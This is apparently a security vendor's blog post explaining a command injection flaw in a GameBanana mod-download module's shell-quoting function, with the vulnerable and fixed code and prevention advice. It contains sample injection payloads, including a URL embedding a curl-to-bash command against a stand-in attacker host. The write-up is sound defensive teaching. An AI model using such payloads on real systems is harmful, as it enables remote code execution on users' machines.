Back to Blog
critical SEVERITY5 min read

How command injection via shell metacharacter escaping happens in Node.js and how to fix it

A critical command injection vulnerability was discovered in the GameBanana provider module where the `quoteCommandArgument()` function only escaped double quotes, leaving shell metacharacters like `$()`, backticks, and other dangerous patterns exploitable. Attackers could craft malicious mod URLs on GameBanana containing shell commands that would execute when users viewed the content. The fix switches from double-quote to single-quote escaping, which prevents shell interpretation of metacharact

O
By Orbis AppSec
Published July 31, 2026Reviewed July 31, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js caused by incomplete shell escaping in the `quoteCommandArgument()` function. The original code only escaped double quotes with `replaceAll('"', '\\"')`, but shell metacharacters like `$(cmd)`, backticks, and `$VAR` remained exploitable. The fix changes from double-quote wrapping to single-quote wrapping with proper escape handling (`'${String(value).replaceAll("'", "'\\''")}'`), which prevents the shell from interpreting any metacharacters within the argument.

Vulnerability at a Glance

cweCWE-78
fixSwitch to single-quote escaping which prevents shell interpretation of metacharacters
riskRemote code execution through crafted URLs from GameBanana content
languageJavaScript (Node.js)
root causequoteCommandArgument() only escaped double quotes, not shell metacharacters
vulnerabilityCommand Injection via Incomplete Shell Escaping

Introduction

The gamebanana.provider.js file handles downloading and processing mod content from GameBanana, a popular game modding platform. A critical flaw in the quoteCommandArgument() function at line 42 created a severe command injection vulnerability that could allow attackers to execute arbitrary system commands on users' machines.

The vulnerability is particularly dangerous because the attack vector comes from attacker-controllable content on GameBanana itself—malicious mod creators could craft URLs containing shell metacharacters that would execute when legitimate users simply viewed or downloaded their content.

Here's the vulnerable code that was discovered:

function quoteCommandArgument(value) {
  return `"${String(value).replaceAll('"', '\\"')}"`;
}

This function attempts to safely quote command-line arguments by wrapping them in double quotes and escaping any embedded double quotes. However, this approach fundamentally misunderstands how shell escaping works.

The Vulnerability Explained

Why Double-Quote Escaping Fails

In Unix-like shells (and even Windows PowerShell), double-quoted strings still allow certain types of expansion:

  • Command substitution: $(command) or `command` will execute the enclosed command
  • Variable expansion: $VARIABLE will be replaced with the variable's value
  • Arithmetic expansion: $((expression)) will evaluate mathematical expressions

The original quoteCommandArgument() function only escaped double quotes ("), meaning an attacker could inject any of these patterns and have them executed by the shell.

Real Attack Scenario

Consider how GameBanana works: mod creators can specify alternate download URLs for their content, including links to external file hosts like MediaFire. An attacker could create a mod with a malicious alternate file source URL:

https://mediafire.com/file/x$(whoami).txt

When this URL passes through quoteCommandArgument(), it becomes:

"https://mediafire.com/file/x$(whoami).txt"

The double quotes don't prevent the shell from executing $(whoami). The command runs, and its output gets interpolated into the URL. But the danger goes far beyond whoami:

https://example.com/$(curl attacker.com/malware.sh | bash).txt

This would download and execute a malicious script with full privileges of the Node.js process—potentially giving attackers complete control over the victim's system.

Why This Is Critical

  1. Remote Code Execution: Attackers can run arbitrary commands with the user's privileges
  2. No User Interaction Required: Simply viewing mod content could trigger the exploit
  3. Trust Exploitation: Users trust GameBanana content, making social engineering trivial
  4. Full System Access: The Node.js process typically has access to filesystem, network, and can spawn additional processes

The Fix

The fix changes the quoting strategy from double quotes to single quotes:

Before (Vulnerable)

function quoteCommandArgument(value) {
  return `"${String(value).replaceAll('"', '\\"')}"`;
}

After (Fixed)

function quoteCommandArgument(value) {
  return `'${String(value).replaceAll("'", "'\\''")}'`;
}

Why Single Quotes Work

In shell scripting, single-quoted strings are literal—no expansion of any kind occurs inside them. The string '$(whoami)' is treated as the literal characters $, (, w, h, o, a, m, i, ) rather than a command to execute.

The only character that needs escaping inside single quotes is the single quote itself. The pattern '\\'' handles this by:

  1. Ending the current single-quoted string (')
  2. Adding an escaped literal single quote (\')
  3. Starting a new single-quoted string (')

So the input it's dangerous becomes 'it'\''s dangerous', which the shell interprets as the literal string it's dangerous.

Attack Neutralized

With the fix in place, the malicious URL:

https://mediafire.com/file/x$(whoami).txt

Becomes:

'https://mediafire.com/file/x$(whoami).txt'

The shell treats $(whoami) as literal text, not a command to execute. The attack is completely neutralized.

Prevention & Best Practices

1. Prefer Array-Based Argument Passing

When possible, avoid shell string construction entirely:

// Dangerous - uses shell
exec(`curl "${url}"`);

// Safer - no shell interpretation
execFile('curl', [url]);

2. Use Established Libraries

Instead of writing custom escaping functions, use battle-tested libraries like shell-escape or shell-quote:

const shellEscape = require('shell-escape');
const safeCommand = shellEscape(['curl', url]);

3. Validate and Sanitize Input

For URLs specifically, validate the format before use:

function isValidUrl(string) {
  try {
    const url = new URL(string);
    return ['http:', 'https:'].includes(url.protocol);
  } catch {
    return false;
  }
}

4. Apply Defense in Depth

  • Validate input at the boundary (URL format checking)
  • Sanitize during processing (proper escaping)
  • Use least-privilege execution contexts where possible

5. Security Testing

  • Include command injection payloads in your test suite
  • Use static analysis tools that understand taint tracking
  • Review any code that constructs shell commands

Key Takeaways

  • Never use double-quote escaping for shell arguments—it doesn't prevent $() or backtick command substitution
  • The quoteCommandArgument() function in gamebanana.provider.js required single-quote escaping to be secure
  • Attacker-controlled URLs from GameBanana could have executed arbitrary commands on users' systems
  • Single-quote wrapping with '\\'' escape pattern is the correct approach for literal shell argument passing
  • External content platforms like GameBanana are untrusted input sources—treat all data from them as potentially malicious

How Orbis AppSec Detected This

  • Source: Attacker-controllable alternate file source URLs from GameBanana mod content
  • Sink: quoteCommandArgument() function at gamebanana.provider.js:42 used in shell command construction
  • Missing control: Proper shell metacharacter escaping—only double quotes were escaped, leaving $(), backticks, and $VAR patterns exploitable
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Changed from double-quote escaping to single-quote escaping with proper handling of embedded single quotes

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability demonstrates how subtle mistakes in shell escaping can have catastrophic security consequences. The original developer's instinct to quote and escape arguments was correct, but the implementation using double quotes left a critical gap that attackers could exploit.

The fix—switching to single-quote escaping—is elegant in its simplicity but requires understanding the fundamental difference between how shells interpret single-quoted versus double-quoted strings. When building applications that interact with external content sources like GameBanana, always treat that content as untrusted and apply rigorous input validation and output escaping.

Remember: security is about understanding the execution context of your code. What seems safe in one context (JavaScript string handling) may be dangerous in another (shell command execution).

References

Frequently Asked Questions

What is command injection?

Command injection occurs when an attacker can insert malicious commands into a string that gets executed by a system shell, allowing them to run arbitrary code on the server or client machine.

How do you prevent command injection in Node.js?

Use array-based argument passing instead of shell strings, avoid `shell: true` in child_process calls, or use single-quote escaping with proper handling of embedded quotes to prevent metacharacter interpretation.

What CWE is command injection?

Command injection is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command), which covers vulnerabilities where user input is incorporated into OS commands without proper sanitization.

Is escaping double quotes enough to prevent command injection?

No. Double-quote escaping only prevents breaking out of the quoted string but still allows shell expansion of `$(command)`, backticks, and `$VARIABLE` references within the quotes.

Can static analysis detect command injection?

Yes. Static analysis tools can trace data flow from untrusted sources to shell execution sinks and flag insufficient sanitization patterns, as demonstrated by the multi_agent_ai scanner that detected this vulnerability.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #7

Related Articles

high

How Quadratic CPU Consumption Vulnerabilities Happen in JavaScript YAML Parsers and How to Fix Them

A high-severity denial-of-service vulnerability in js-yaml versions 3.x and 4.x allowed attackers to trigger quadratic CPU consumption through specially crafted YAML documents using the !!omap tag. This fix upgrades js-yaml from 4.1.1 to 4.3.1 and from 3.14.2 to 3.15.1, eliminating the algorithmic complexity attack vector that could freeze Node.js applications processing untrusted YAML input.

high

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `scripts/build.js` where `execSync` was called with string-interpolated arguments (`sourceDir` and `outputPath`) inside a shell command. By replacing `execSync` with `spawnSync` using an argument array (no shell), the fix eliminates the possibility of shell metacharacter injection while preserving identical build behavior.

high

How Command Injection happens in Node.js child_process and how to fix it

A command injection vulnerability in nix.js's Release class allowed potentially malicious input through the `arch` parameter to be executed via shell commands. The fix replaced `execSync()` with `execFileSync()`, eliminating shell interpretation and preventing command injection by passing arguments as an array instead of a concatenated string.

critical

How Sensitive Data Exposure in Error Logging happens in TypeScript/Deno and how to fix it

A critical vulnerability in Supabase Edge Functions allowed sensitive authentication errors and API credentials to leak through verbose error logging. The `cancel-subscription/index.ts` function logged full error objects to the console, potentially exposing Paddle API keys and auth tokens in deployment logs. The fix sanitizes all error messages to log only safe error text while preserving debugging capability.

critical

How HTTP Header Injection Happens in Go and How to Fix It

A critical vulnerability in the file upload handler allowed attackers to inject CRLF sequences into HTTP response headers through crafted filenames. The fix sanitizes user-supplied filenames before using them in Content-Disposition headers, preventing header injection attacks that could lead to cache poisoning, session fixation, or XSS.

high

How Path Traversal and Security Policy Bypass Happens in Node.js Dependencies and How to Fix It

A high-severity vulnerability in the fast-uri package (CVE-2026-6321) allowed attackers to bypass security policies through improper Unicode hostname canonicalization and path traversal. This issue affected the @apralabs/apra-fleet project through its dependency tree, and was resolved by upgrading fast-uri from version 3.1.0 to 4.1.2 using npm overrides.